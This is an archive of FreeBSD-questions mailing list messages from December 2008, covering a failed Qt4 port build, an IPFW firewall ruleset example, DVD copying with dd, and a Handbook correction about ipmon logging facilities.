[220.233.0.17]) by mx1.freebsd.org (Postfix) with ESMTP id B07808FC0C for ; Fri, 5 Dec 2008 13:39:06 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by smtp.po.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L8atc-0002f5-NB for freebsd-questions@freebsd.org; Sat, 06 Dec 2008 00:39:05 +1100 Message-ID: <49392F02.9010902@maydias.com> Date: Fri, 05 Dec 2008 23:39:14 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: desperate Newb help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 13:39:07 -0000 I have been trying for quite a while now to try and get some assistance from the various lists, google, forums an even man pages and so far not a single piece of advise on how to solve my issue and im getting desperate an ready to throw BSD in for goin back to godforbid windows, so once i again i ask for some help with why QT refuses to compile saying ..... I have used the little-endian an big-endian flag an it made no difference, so plz someone have the kindness to help. ============================= The target system byte order could not be detected! Turn on verbose messaging (-v) to see the final report. You can use the -little-endian or -big-endian switch to ./configure to continue. ===> Script "configure" failed unexpectedly. Please report the problem to kde@FreeBSD.org [maintainer] and attach the "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../..//config.log" including the output of the failure of your make command. Also, it might be a good idea to provide an overview of all packages installed on your system (e.g. an `ls /var/db/pkg`). *** Error code 1 Stop in /usr/ports/databases/qt4-sql. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.13456.0 env make ** Fix the problem and try again. ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! databases/qt4-sql (unknown build error) From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 13:56:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2DF03106564A for ; Fri, 5 Dec 2008 13:56:53 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: from ibctech.ca (v6.ibctech.ca [IPv6:2607:f118::b6]) by mx1.freebsd.org (Postfix) with SMTP id B39208FC13 for ; Fri, 5 Dec 2008 13:56:52 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: (qmail 33051 invoked by uid 89); 5 Dec 2008 14:05:30 -0000 Received: from unknown (HELO ?IPv6:2607:f118::5?) (steve@ibctech.ca@2607:f118::5) by 2607:f118::b6 with ESMTPA; 5 Dec 2008 14:05:30 -0000 Message-ID: <49393332.4090104@ibctech.ca> Date: Fri, 05 Dec 2008 08:57:06 -0500 From: Steve Bertrand User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: Odhiambo Washington References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> In-Reply-To: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Wojciech Puchar , "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 13:56:53 -0000 Odhiambo Washington wrote: > No one in their right senses would spend time benchmarking FreeBSD (or any > Unix variant) against Windows (oh, which version?). It's a waste of time. > Let those who use Windows use it and those who like living in a world where > they are allowed to use their brains use Unix. Ahem.. Just for the record, I believe that "those who like living in a world where they are allowed to use their brain" use whatever OS gets the job done for a particular task or task set. Those who are allowed to use their brain, but don't, will often use a pair of pliers as a hammer, because no matter what, their belief is that the pliers are the best tool...even when it takes 10 times longer to bend those pliers in ways that another tool will work with no changes necessary. Steve From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 14:12:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D6491065672 for ; Fri, 5 Dec 2008 14:12:03 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 2FEDC8FC16 for ; Fri, 5 Dec 2008 14:12:03 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 02BEDAFBC02; Fri, 5 Dec 2008 05:12:02 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 15:11:58 +0100 User-Agent: KMail/1.9.7 References: <49392F02.9010902@maydias.com> In-Reply-To: <49392F02.9010902@maydias.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> Cc: Warren Liddell Subject: Re: desperate Newb help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 14:12:03 -0000 On Friday 05 December 2008 14:39:14 Warren Liddell wrote: > I have been trying for quite a while now to try and get some assistance > from the various lists, google, forums an even man pages and so far not > a single piece of advise on how to solve my issue and im getting > desperate an ready to throw BSD in for goin back to godforbid windows, > so once i again i ask for some help with why QT refuses to compile > saying ..... > > I have used the little-endian an big-endian flag an it made no > difference, so plz someone have the kindness to help. > > ============================= > > The target system byte order could not be detected! > Turn on verbose messaging (-v) to see the final report. > You can use the -little-endian or -big-endian switch to > ./configure to continue. > ===> Script "configure" failed unexpectedly. > Please report the problem to kde@FreeBSD.org [maintainer] and attach the > "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../. >.//config.log" I have no idea why 'configure' is run. No configure is run for me at all. Looks like your ports tree isn't sane. How do you upgrade your portstree? Instead of using portupgrade, could you just execute the following: make -C /usr/ports/databases/qt4-sql clean build -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 14:12:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5B925106568B for ; Fri, 5 Dec 2008 14:12:34 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: from ibctech.ca (v6.ibctech.ca [IPv6:2607:f118::b6]) by mx1.freebsd.org (Postfix) with SMTP id 096528FC21 for ; Fri, 5 Dec 2008 14:12:33 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: (qmail 33558 invoked by uid 89); 5 Dec 2008 14:21:12 -0000 Received: from unknown (HELO ?IPv6:2607:f118::5?) (steve@ibctech.ca@2607:f118::5) by 2607:f118::b6 with ESMTPA; 5 Dec 2008 14:21:12 -0000 Message-ID: <493936DF.80300@ibctech.ca> Date: Fri, 05 Dec 2008 09:12:47 -0500 From: Steve Bertrand User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: gwg7webbcom@yahoo.com References: <916515.67967.qm@web52202.mail.re2.yahoo.com> In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Freebsd Questions Subject: Re: IPFW Firewall Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 14:12:34 -0000 G magicman wrote: > 1. I need help to reconfigure my firewall on the server using BSD's ipfw What part do you need to reconfigure? > 2. short of a reboot how do you start stop and restart the firewall Very, very carefully. Until I gained some extensive experience with IPFW, I would wrap the firewall restart within a sleep/undo of some sort. That said, now I use table(s) and set(s), so I can update rules without having to restart the firewall entirely. Below is an example, that also will guide you in answering your next two questions. The man page and Google will explain how to use tables and sets. To answer your question however, depending on where your firewall script is, simply execute it at the command line, like this: # /etc/ipfw.rules & > Here is what i want : > > 1. i want all ports open to the ipaddresses in line 4 "clearaddresses" > 2. I want to be able to control access to port 25 sendmail to be able to deny > whole "A" "B" and "C" addresses #!/bin/sh flush="/sbin/ipfw -q flush" cmd="/sbin/ipfw add" table="/sbin/ipfw table" $flush # Tables # Client/infrastructure IPs for allowing access $table 1 add 208.70.104.0/21 $table 1 add 64.39.160.0/19 $table 1 add 67.158.64.0/20 #...etc # SMTP ALLOWED OUTBOUND TABLE $table 2 add 208.70.104.202/32 $table 2 add 208.70.104.203/32 $table 2 add 208.70.104.205/32 #...etc # Block all inbound and outbound traffic for certain sites # ...review periodically to see if they are still valid $table 3 add 91.203.4.146/32 # phishing # set 3 = specific deny/allow by ids # set 4 = SSH access # set 29 = for counting/testing traffic patterns # set 30 = forwarding # SET 3 # SQL $cmd 20000 set 3 deny all from any to any 1433,1434 # NetBIOS $cmd 20100 set 3 allow tcp from 208.70.104.0/24 to 208.70.104.0/24 135,139,445,593 keep-state $cmd 20105 set 3 allow udp from 208.70.104.0/24 to 208.70.104.0/24 135,139,445,593 $cmd 20110 set 3 deny all from any to any 135,139,445,593 # SET 4 $cmd 40000 set 4 allow tcp from "table(1)" to any 22 keep-state $cmd 40005 set 4 deny tcp from any to any 22 # SET 29 #$cmd 59000 set 29 count log logamount 100 tcp from any to any # SET 30 $cmd 60000 set 30 fwd 208.70.104.3,53 all from any to 209.167.16.10 53 $cmd 60005 set 30 fwd 208.70.106.59,53 all from any to 209.167.16.30 53 $cmd 64998 deny all from "table(3)" to any $cmd 64999 deny all from any to "table(3)" ### end dummy ruleset ...if you want specific rule examples, just let me know. The above does pretty much what you want it to do. I've purposely left it up to you to do some further research. Tweaking a non-forgiving firewall remotely is not something you want to learn the hard way. The benefit of tables is that you can have one rule, but manually add/remove specific addresses or prefixes on the fly without having to reload the rule. With sets, you can disable an entire block of rules, modify it, and reload it without restarting IPFW, therefore destroying your existing established rules. Steve From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 14:15:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2803C1065670 for ; Fri, 5 Dec 2008 14:15:10 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from smtp.lamaiziere.net (net.lamaiziere.net [91.121.44.19]) by mx1.freebsd.org (Postfix) with ESMTP id E29988FC1B for ; Fri, 5 Dec 2008 14:15:09 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from baby-jane.lamaiziere.net (246.10.87-79.rev.gaoland.net [79.87.10.246]) by smtp.lamaiziere.net (Postfix) with ESMTPA id 781F8633676; Fri, 5 Dec 2008 15:15:08 +0100 (CET) Received: from baby-jane (localhost [127.0.0.1]) by baby-jane.lamaiziere.net (Postfix) with ESMTP id 94AA466F737; Fri, 5 Dec 2008 15:15:07 +0100 (CET) Date: Fri, 5 Dec 2008 15:15:07 +0100 From: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= To: Warren Liddell Message-ID: <20081205151507.44f2d49f@baby-jane> In-Reply-To: <49392F02.9010902@maydias.com> References: <49392F02.9010902@maydias.com> Organization: /dave/nulle X-Mailer: Claws Mail 3.3.1 (GTK+ 2.12.9; i386-apple-darwin9.3.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: QT4 compilation problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 14:15:10 -0000 Le Fri, 05 Dec 2008 23:39:14 +1000, Warren Liddell a écrit : > I have been trying for quite a while now to try and get some > assistance from the various lists, google, forums an even man pages > and so far not a single piece of advise on how to solve my issue and > im getting desperate an ready to throw BSD in for goin back to > godforbid windows, so once i again i ask for some help with why QT > refuses to compile saying ..... > > I have used the little-endian an big-endian flag an it made no > difference, so plz someone have the kindness to help. Looks to be a known problem, see http://mail.kde.org/pipermail/kde-freebsd/2008-December/004094.html (please, use more accurate subject. Thanks). From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 14:27:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3EC171065670 for ; Fri, 5 Dec 2008 14:27:14 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 113EC8FC08 for ; Fri, 5 Dec 2008 14:27:13 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 2F3F7AFBC02; Fri, 5 Dec 2008 05:27:13 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 15:27:11 +0100 User-Agent: KMail/1.9.7 References: <49392F02.9010902@maydias.com> <20081205151507.44f2d49f@baby-jane> In-Reply-To: <20081205151507.44f2d49f@baby-jane> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812051527.11920.fbsd.questions@rachie.is-a-geek.net> Cc: Patrick =?iso-8859-15?q?Lamaizi=E8re?= Subject: Re: QT4 compilation problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 14:27:14 -0000 On Friday 05 December 2008 15:15:07 Patrick Lamaizi=E8re wrote: > Le Fri, 05 Dec 2008 23:39:14 +1000, > > Warren Liddell a =E9crit : > > I have been trying for quite a while now to try and get some > > assistance from the various lists, google, forums an even man pages > > and so far not a single piece of advise on how to solve my issue and > > im getting desperate an ready to throw BSD in for goin back to > > godforbid windows, so once i again i ask for some help with why QT > > refuses to compile saying ..... > > > > I have used the little-endian an big-endian flag an it made no > > difference, so plz someone have the kindness to help. > > Looks to be a known problem, see > http://mail.kde.org/pipermail/kde-freebsd/2008-December/004094.html Nah, that's called crossposting. =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:11:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6AC00106567A for ; Fri, 5 Dec 2008 15:11:56 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 2F14B8FC1C for ; Fri, 5 Dec 2008 15:11:56 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 7CEC53CC3A for ; Fri, 5 Dec 2008 16:11:16 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB5FBClY003025 for ; Fri, 5 Dec 2008 16:11:13 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Fri, 5 Dec 2008 16:11:12 +0100 From: Polytropon To: FreeBSD Questions Message-Id: <20081205161112.f9bcddff.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:11:56 -0000 Hi! I'd like to ask which program is the proper tool to copy a DVD(+|-)R 1:1 to another media of the same kind? It would be great if the program would have a good error tolerance for slightly defective media (which is a usual problem with cheap DVDs). I've always used cdrdao read-cd and afterwards cdrdao write for CD-R, but I cannot use this tool for DVDs, right? So far I've used growisofs to record pre-mastered ISO file systems, but I don't want to make it that complicated (mound source DVD, mkisofs, growisofs / burn this ISO to destination DVD) if it can be avoided. It's not neccessary to perform this operation from one drive to the other, it's okay to have a temporary file (first read, then burn). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:37:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 28CD8106564A for ; Fri, 5 Dec 2008 15:37:26 +0000 (UTC) (envelope-from dweimer@orscheln.com) Received: from PROXY2.orscheln.com (proxy2.orscheln.com [216.106.0.225]) by mx1.freebsd.org (Postfix) with ESMTP id D13D88FC12 for ; Fri, 5 Dec 2008 15:37:25 +0000 (UTC) (envelope-from dweimer@orscheln.com) Received: from neuman.orscheln.oi.local (neuman.orscheln.com [10.20.10.160]) by PROXY2.orscheln.com (8.13.8/8.13.8) with ESMTP id mB5F7Pqo041566 for ; Fri, 5 Dec 2008 09:07:25 -0600 (CST) (envelope-from dweimer@orscheln.com) X-MimeOLE: Produced By Microsoft Exchange V6.5 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable x-cr-puzzleid: {C701220F-45E5-4F69-A8EE-47F94C58C495} x-cr-hashedpuzzle: Kik= 3MM= A6al A9Gw BlM2 CHvf CSEm CvmM Dot0 D5/Y FgwA HiF7 H1IO IFlF IwE6 J+AV; 1; ZgByAGUAZQBiAHMAZAAtAHEAdQBlAHMAdABpAG8AbgBzAEAAZgByAGUAZQBiAHMAZAAuAG8AcgBnAA==; Sosha1_v1; 7; {C701220F-45E5-4F69-A8EE-47F94C58C495}; ZAB3AGUAaQBtAGUAcgBAAG8AcgBzAGMAaABlAGwAbgAuAGMAbwBtAA==; Fri, 05 Dec 2008 15:07:23 GMT; SQBQAEYAaQBsAHQAZQByACAAcwBlAGMAdABpAG8AbgAgAGkAbgAgAEgAYQBuAGQAYgBvAG8AawAgAG4AZQBlAGQAcwAgAHUAcABkAGEAdABpAG4AZwA= Content-class: urn:content-classes:message Date: Fri, 5 Dec 2008 09:07:23 -0600 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPFilter section in Handbook needs updating Thread-Index: AclW6y1B9FhrZc0fROiC3j3RtanrNg== From: "Dean Weimer" To: Subject: IPFilter section in Handbook needs updating X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:37:26 -0000 I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and = noticed that the ipmon and syslog information under the ipfilter section = of the handbook is incorrect. The section reads: -----snip----- 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses = special groupings called "facility" and "level". IPMON in -Ds mode uses = security as the "facility" name. All IPMON logged data goes to security = The following levels can be used to further segregate the logged data if = desired: LOG_INFO - packets logged using the "log" keyword as the action rather = than pass or block. LOG_NOTICE - packets logged which are also passed LOG_WARNING - packets logged which are also blocked LOG_ERR - packets which have been logged and which can be considered = short To setup IPFILTER to log all data to /var/log/ipfilter.log, you will = need to create the file. The following command will do that: # touch /var/log/ipfilter.log The syslog function is controlled by definition statements in the = /etc/syslog.conf file. The syslog.conf file offers considerable = flexibility in how syslog will deal with system messages issued by = software applications like IPF. Add the following statement to /etc/syslog.conf: security.* /var/log/ipfilter.log The security.* means to write all the logged messages to the coded file = location. To activate the changes to /etc/syslog.conf you can reboot or bump the = syslog task into re-reading /etc/syslog.conf by running = /etc/rc.d/syslogd reload Do not forget to change /etc/newsyslog.conf to rotate the new log you = just created above. -----snip----- In trying to configure this I found that ipmon -Dsa doesn't log to = security, but logs to local0 instead. Reading the man page for ipmon = does in fact state this. However it also list the -L option as being = able to change this default behavior, I tried ipmon -DSa -L security, it = excepts this, but doesn't actually change the logging to use security. = It still only outputs to the syslog using local0, I also tried using = ipmon -DSa -L local7 as well, still outputs to local0. It was easy = enough to modify my syslog.conf to output the local0.* as well as = security.* to the /var/log/security file. However it would be greatly = appreciated if someone that actually understands what's going on here = could get this info updated. It would have saved me some time, as well = as I am sure some other people in the future. Of course it's always = possible I am missing something simple here that is causing this = discrepancy, please do inform me if I did. It's probably worth = mentioning that I am starting ipmon using the rc.conf file with = ipmon_enable=3D"YES" and ipmon_flags=3D"-DSa", just in case the = /etc/rc.d/ipmon script actually changes the default behavior of ipmon in = some way, though I didn't see anything in it that should. And ps wwaux = | grep ipmon does display the process running with the flags exactly as = stated on the ipmon_flags line of the /etc/rc.conf file. Thanks, =A0=A0=A0=A0 Dean Weimer =A0=A0=A0=A0 Network Administrator =A0=A0=A0=A0 Orscheln Management Co From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:43:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BD148106564A for ; Fri, 5 Dec 2008 15:43:00 +0000 (UTC) (envelope-from andrewlylegould@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.242]) by mx1.freebsd.org (Postfix) with ESMTP id 6AAFB8FC0C for ; Fri, 5 Dec 2008 15:42:59 +0000 (UTC) (envelope-from andrewlylegould@gmail.com) Received: by an-out-0708.google.com with SMTP id b6so44673ana.13 for ; Fri, 05 Dec 2008 07:42:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=HhBJEPRjt51sxeFJlafpz7QcEOL/LzzxoaRpvd8keFs=; b=nBwvVtNqeFSHVThNJSpsiacihPoQ3mL2zc/Xf1vqOUYI6QxSL+D3exqZwl9tL1X3QD LUOoTZn9/8IBC6EpcIki/sbKtKz4SrQOmqpJE9dZkIII40c80YfGz0qPBFkFVztHUEo3 26A1rnKzvhsc5FRSRP38J1wvqMneCewIQUppM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=lEHLEs7mJcj+okUL6RBub+KBLuXi8TE11gQpbfW/sUJLI5Tb90v/HpgAAOgtT4Yod+ gsACooygz++Yd9t5xy7VkjcSMfKNzGsjRRtD+zQgQazlMvApqMSXQUWZzpcD0myogJLQ Y7DzZalDt1+qTDFhflNDTp0VcvEFEDnE7JcbQ= Received: by 10.102.247.4 with SMTP id u4mr69804muh.104.1228491778293; Fri, 05 Dec 2008 07:42:58 -0800 (PST) Received: by 10.103.228.17 with HTTP; Fri, 5 Dec 2008 07:42:58 -0800 (PST) Message-ID: Date: Fri, 5 Dec 2008 09:42:58 -0600 From: "Andrew Gould" To: Polytropon In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> MIME-Version: 1.0 References: <20081205161112.f9bcddff.freebsd@edvax.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:43:00 -0000 On Fri, Dec 5, 2008 at 9:11 AM, Polytropon wrote: > Hi! > > I'd like to ask which program is the proper tool to copy > a DVD(+|-)R 1:1 to another media of the same kind? It > would be great if the program would have a good error > tolerance for slightly defective media (which is a usual > problem with cheap DVDs). > > I've always used cdrdao read-cd and afterwards cdrdao write > for CD-R, but I cannot use this tool for DVDs, right? > > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO > to destination DVD) if it can be avoided. It's not > neccessary to perform this operation from one drive > to the other, it's okay to have a temporary file > (first read, then burn). > > -- > Polytropon > >From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > If your CD or DVD is loaded (not mounted) at /dev/cd0, the following command will create an iso image in the current directory: dd if=/dev/cd0 of=filename.iso bs=2048 If you want an easy process, you can put this in a script, followed by a growisofs command to burn the file to another DVD device, allowing the script to overwrite the previous DVD iso file. Or you could write a script where you supply a name for the iso image file to maintain backup images. I hope this helps. Andrew From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:45:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 52FE9106567B for ; Fri, 5 Dec 2008 15:45:06 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 7E8DB8FC2B for ; Fri, 5 Dec 2008 15:45:04 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5Fifc8002143; Fri, 5 Dec 2008 16:44:41 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5Fic50002140; Fri, 5 Dec 2008 16:44:39 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 16:44:38 +0100 (CET) From: Wojciech Puchar To: Steve Bertrand In-Reply-To: <49393332.4090104@ibctech.ca> Message-ID: <20081205164342.Y2139@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> <49393332.4090104@ibctech.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Odhiambo Washington , "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:45:06 -0000 > Just for the record, I believe that "those who like living in a world > where they are allowed to use their brain" use whatever OS gets the job > done for a particular task or task set. yes it means that. that's why they don't use windows as it's useless for them From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:46:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B5BEE106567B for ; Fri, 5 Dec 2008 15:46:08 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 0B5148FC25 for ; Fri, 5 Dec 2008 15:46:07 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5FjSgR002158; Fri, 5 Dec 2008 16:45:28 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5FjSAG002155; Fri, 5 Dec 2008 16:45:28 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 16:45:28 